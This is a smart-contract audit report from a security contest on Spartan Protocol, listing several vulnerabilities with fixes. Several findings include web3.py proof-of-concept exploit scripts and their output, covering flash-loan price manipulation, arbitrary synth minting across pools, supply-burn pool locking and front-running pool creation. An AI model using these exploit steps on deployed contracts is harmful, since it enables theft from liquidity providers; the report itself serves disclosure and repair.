Spartan Protocol contest - jonah1005's results

Handle

jonah1005

Vulnerability details

Impact

Allowance can not adjust once it's set to max.

Users should have the ability to adjust the allowance.

Proof of Concept

Provide direct links to all referenced code in GitHub. Add screenshots, logs, or any other relevant proof that illustrates the concept.

Pool and Synth have the same issue as they have the same token implementation. https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/Synth.sol#L93 https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/Pool.sol#L108

Here's a script that tries to decrease allowance but failed.

uint256_max = 115792089237316195423570985008687907853269984665640564039457584007913129639935
link_synth.functions.approve(w3.eth.accounts[0], uint256_max).transact({'from': user})
link_synth.functions.approve(w3.eth.accounts[0], 0).transact({'from': user})
print(link_synth.functions.allowance(user, w3.eth.accounts[0]).call())
link_synth.functions.decreaseAllowance(w3.eth.accounts[0], uint256_max).transact({'from': user})
print(link_synth.functions.allowance(user, w3.eth.accounts[0]).call())

The result of the above script:

115792089237316195423570985008687907853269984665640564039457584007913129639935
115792089237316195423570985008687907853269984665640564039457584007913129639935

Tools Used

Hardhat

Recommended Mitigation Steps

The devs optimize the gas cost with the clever trick. However, as it may save the gas in most cases, sticking with ERC standards would be a better choice, IMHO. It might break the compatibility with other projects. Tether is a classic example that shows how troublesome breaking ERC standards would be.

recommend the dev to use openzeppelin's implementation.

Handle

jonah1005

Vulnerability details

Impact

The fund would lock in the pool when dealing with non-standard ERC tokens (e.g. USDT) that do not return value on transfer.

Proof of Concept

https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/Pool.sol#L199

Users can add liquidity to a USDT pool but can not withdraw.

Tools Used

None

Recommended Mitigation Steps

Recommend to use openzeppelin's safeerc20 or something similar to it.

Handle

jonah1005

Vulnerability details

Impact

Synth realise function calculates baseValueLP and baseValueSynth base on AMM spot price which is vulnerable to flash loan attack. Synth's lp is subject to realise whenever the AMM ratio is different than Synth's debt ratio.

The attack is not necessarily required flash loan. Big whale of the lp token holders could keep calling realse by shifting token ratio of AMM pool back and forth.

Proof of Concept

The vulnerability locates at: https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/Synth.sol#L187-L199

Where the formula here is dangerous: https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/Utils.sol#L114-L126

https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/Utils.sol#L210-L217 Here's a script for conducting flashloan attack

flashloan_amount = init_amount
user = w3.eth.accounts[0]
marked_token.functions.transfer(user, flashloan_amount).transact()
marked_token.functions.transfer(token_pool.address, flashloan_amount).transact({'from': user})
token_pool.functions.addForMember(user).transact({'from': user})
received_lp = token_pool.functions.balanceOf(user).call() 
synth_balance_before_realise = token_synth.functions.mapSynth_LPBalance(token_pool.address).call()
token_synth.functions.realise(token_pool.address).transact()
token_pool.functions.transfer(token_pool.address, received_lp).transact({'from': user})
token_pool.functions.removeForMember(user).transact({'from': user})
token_synth.functions.realise(token_pool.address).transact()
synth_balance_after_realise = token_synth.functions.mapSynth_LPBalance(token_pool.address).call()
print('synth_lp_balance_after_realise', synth_balance_after_realise)
print('synth_lp_balance_before_realise', synth_balance_before_realise)

Output:

synth_balance_after_realise 1317859964829313908162
synth_balance_before_realise 2063953488372093023256

Tools Used

None

Recommended Mitigation Steps

Calculating Lp token's value base on AMM protocol is known to be dangerous. There are a few steps that might solve the issue:

1. calculate token's price from a reliable source. Implement a TWAP oracle or uses chainlink oracle.
2. calculate lp token value based on anti-flashloan formula. Alpha finance's formula is a good reference: https://blog.alphafinance.io/fair-lp-token-pricing

Handle

jonah1005

Vulnerability details

Impact

Pool can mint arbitrary Sythn provided as long as it's a valid synth. When there are multiple curated pools and synth (which the protocol is designed for), hackers can mint expensive synthetics from a cheaper AMM pool. The hacker can burn the minted synth at the expensive pool and get profit. The arbitrage profit can be amplified with flash loan services and break all the pegs.

Proof of Concept

Pool's mintSynth logic: https://github.com/code-423n4/2021-07-spartan/blob/main/contracts/Pool.sol#L229-L242

Synth's mintSynth logic: https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/Synth.sol#L165-L171

Synth's authorization logic: https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/Pool.sol#L229-L242

The price of the synthetics to be mint is calculated in Pool based on the AMM price of the current Pool

Here's a web3.py script of minting arbitrary Synth in a pool. For simplicity, two pools are set with the assumption that link is 10x expensive than dai.

sparta_amount = 100 * 10**18
initail_link_synth = link_synth.functions.balanceOf(user).call()
base.functions.transfer(link_pool.address, sparta_amount).transact({'from': user})
link_pool.functions.mintSynth(link_synth.address, user).transact({'from': user})
after_link_synth = link_synth.functions.balanceOf(user).call()

print('get link synth amount from link pool:', after_link_synth - initail_link_synth)

sparta_amount = 100 * 10**18
initail_link_synth = link_synth.functions.balanceOf(user).call()
base.functions.transfer(dai_pool.address, sparta_amount).transact({'from': user})
dai_pool.functions.mintSynth(link_synth.address, user).transact({'from': user})
after_link_synth = link_synth.functions.balanceOf(user).call()

print('get link synth amount from dai pool:', after_link_synth - initail_link_synth)

The log of the above script

get link synth amount from link pool: 97078046905036524413
get link synth amount from dai pool: 970780469050365244136

Tools Used

Hardhat

Recommended Mitigation Steps

Checks the provided synth's underlying token in mintSynth require(iSYNTH(synthOut).LayerONE() == TOKEN, "invalid synth");

Handle

jonah1005

Vulnerability details

Impact

Pool allows users to burn lp tokens without withdrawing the tokens. This allows the hacker to mutate the pools' rate to a point that no one can get any lp token anymore (even if depositing token).

The liquidity tokens are calculated at Utils:calcLiquidityUnits

            // units = ((P (t B + T b))/(2 T B)) * slipAdjustment
            // P * (part1 + part2) / (part3) * slipAdjustment
            uint slipAdjustment = getSlipAdustment(b, B, t, T);
            uint part1 = t*(B);
            uint part2 = T*(b);
            uint part3 = T*(B)*(2);
            uint _units = (P * (part1 + (part2))) / (part3);
            return _units * slipAdjustment / one;  // Divide by 10**18

where P stands for totalSupply of current Pool. If P is too small (e.g, 1) then all the units would be rounding to 0.

Since any person can create a Pool at PoolFactory, hackers can create a Pool and burn his lp and set totalSupply to 1. He will be the only person who owns the Pool's lp from now on.

Proof of Concept

Pool's burn logic: https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/Pool.sol#L146

Utils' lp token formula: https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/Utils.sol#L80

Here's a script of a user depositing 1M token to a pool where totalSupply equals 1

dai_pool.functions.burn(init_amount-1).transact()
print('total supply', dai_pool.functions.totalSupply().call())
dai.functions.transfer(dai_pool.address, 1000000 * 10**18).transact()
dai_pool.functions.addForMember(user).transact()
print('lp received from depositing 1M dai: ', dai_pool.functions.balanceOf(user).call())

Output:

total supply 1
lp received from depositing 1M dai:  0

Tools Used

None

Recommended Mitigation Steps

Remove burn or restrict it to privileged users only.

Handle

jonah1005

Vulnerability details

Impact

Pool calculates the amount to be minted based on token_amount and sparta_amount of the Pool. However, since token_amount in the pool would not decrease when users mint Synth, it's always cheaper to mint synth than swap the tokens.

The synthetics would be really hard to be on peg. Or, there would be a flash-loan attacker to win all the arbitrage space.

Proof of Concept

Pool's mint synth https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/Pool.sol#L229-L242

The synth amount is calculated at L:232

uint output = iUTILS(_DAO().UTILS()).calcSwapOutput(_actualInputBase, baseAmount, tokenAmount);

which is the same as swapping base to token at L:287

uint256 _X = baseAmount;
uint256 _Y = tokenAmount;
_y =  iUTILS(_DAO().UTILS()).calcSwapOutput(_x, _X, _Y); // Calc TOKEN output

However, while swapping tokens decrease pool's token, mint just mint it out of the air.

Here's a POC: Swap sparta to token for ten times

for i in range(10):
    amount = 10 * 10**18
    transfer_amount = int(amount/10)
    base.functions.transfer(token_pool.address, transfer_amount).transact()
    token_pool.functions.swapTo(token.address, user).transact()

Mint Synth for ten times

for i in range(10):
    amount = 10 * 10**18
    transfer_amount = int(amount/10)
    base.functions.transfer(token_pool.address, transfer_amount).transact()
    token_pool.functions.mintSynth(token_synth.address, user).transact()

The Pool was initialized with 10000:10000 in both cases. While the first case(swap token) gets 4744.4059 and the second case gets 6223.758.

Tools Used

None

Recommended Mitigation Steps

The debt should be considered in the AMM pool.

I recommend to maintain a debt variable in the Pool and use tokenAmount - debt when the Pool calculates the token price. Here's some idea of it.

    uint256 public debt;
    function _tokenAmount() returns (uint256) {
        return tokenAmount - debt;
    }

    // Swap SPARTA for Synths
    function mintSynth(address synthOut, address member) external returns(uint outputAmount, uint fee) {
        require(iSYNTHFACTORY(_DAO().SYNTHFACTORY()).isSynth(synthOut) == true, "!synth"); // Must be a valid Synth
        uint256 _actualInputBase = _getAddedBaseAmount(); // Get received SPARTA amount

        // Use tokenAmount - debt to calculate the value
        uint output = iUTILS(_DAO().UTILS()).calcSwapOutput(_actualInputBase, baseAmount, _tokenAmount()); // Calculate value of swapping SPARTA to the relevant underlying TOKEN

        // increment the debt
        debt += output

        uint _liquidityUnits = iUTILS(_DAO().UTILS()).calcLiquidityUnitsAsym(_actualInputBase, address(this)); // Calculate LP tokens to be minted
        _incrementPoolBalances(_actualInputBase, 0); // Update recorded SPARTA amount
        uint _fee = iUTILS(_DAO().UTILS()).calcSwapFee(_actualInputBase, baseAmount, tokenAmount); // Calc slip fee in TOKEN
        fee = iUTILS(_DAO().UTILS()).calcSpotValueInBase(TOKEN, _fee); // Convert TOKEN fee to SPARTA
        _mint(synthOut, _liquidityUnits); // Mint the LP tokens directly to the Synth contract to hold
        iSYNTH(synthOut).mintSynth(member, output); // Mint the Synth tokens directly to the user
        _addPoolMetrics(fee); // Add slip fee to the revenue metrics
        emit MintSynth(member, BASE, _actualInputBase, TOKEN, outputAmount);
      return (output, fee);
    }

Handle

jonah1005

Vulnerability details

Impact

The lptoken minted by the Pool contract is actually the mix of two types of tokens. One is the original lptokens user get by calling addForMember. This lpToken is similar to lp of Uniswap, Crv, Sushi, ... etc. The other one is the debt-lp token the Synth contract will get when the user calls mintSynth. The Synth contract can only withdraw Sparta for burning debt-lp. Mixing two types of lp would raise several issues.

Lp user would not get their fair share when they burn the lp.

1. Alice adds liquidity with Sparta 1000 and token B 1000 and create a new Pool.
2. Bob mint Synth with 1000 Sparta and get debt.
3. Alice withdraw all lp Token
4. Bob burn all Synth.

The pool would end up left behind a lot of token B in the Pool while there's no lp holder.

I would say this is a high-risk vulnerability since it pauses unspoken risks and losses for all users (all the time)

Proof of Concept

The logic of burn original lp https://github.com/code-423n4/2021-07-spartan/blob/main/contracts/Pool.sol#L192-L202

The logic of burn debt-lp https://github.com/code-423n4/2021-07-spartan/blob/main/contracts/Pool.sol#L244-L257

Tools Used

None

Recommended Mitigation Steps

I do not know whether this is the team's design choice or its composite with a series of bugs.

If this is the original design, I do not come up with a fix. It's a bit similar to the impermanent loss. However, the loss would be left behind in the Pool. This is more complicated and maybe worse than the impermanent loss. If this is the design choice, I think it's worth emphasize and explain to the users.

Handle

jonah1005

Vulnerability details

Impact

Pool is created in function createPoolADD. The price (rate) of the token is determined in this function. Since the address is deterministic, the attacker can front-run the createPoolADD transaction and sends tokens to Pool's address. This would make the pool start with an extreme price and create a huge arbitrage space.

I assume pools would be created by the deployer rather than DAO at the early stage of the protocol. If the deployer calls createPoolADD and addCuratedPool at the same time then an attacker/arbitrager could actually get (huge) profit by doing this.

Assume that the deployer wants to create a BNB pool at an initial rate of 10000:300 and then make it a curated pool. An arbitrager can send 2700 BNB to the (precomputed) pool address and make iBNB 10x cheaper. The arbitrager can mint the synth at a 10x cheaper price before the price becomes normal.

Proof of Concept

https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/poolFactory.sol#L45-L62

pre_computed_dai_pool_address = '0x1007BDBA1BCc3C94e20d57768EF9fc0b1Cc2844b'
dai.functions.transfer(pre_computed_dai_pool_address, initial_amount*10).transact({'from': w3.eth.accounts[1]})
initial_amount = 10000*10**18
dai.functions.approve(pool_factory.address, initial_amount*10).transact()
base.functions.approve(pool_factory.address, initial_amount).transact()
pool_factory.functions.createPoolADD(initial_amount, initial_amount, dai.address).transact()

Tools Used

None

Recommended Mitigation Steps

add require(iBEP20(BASE).balanceOf(address(pool)) == 0 && iBEP20(token).balanceOf(address(pool)) == 0, "initial balance should be zero"); In createPoolADD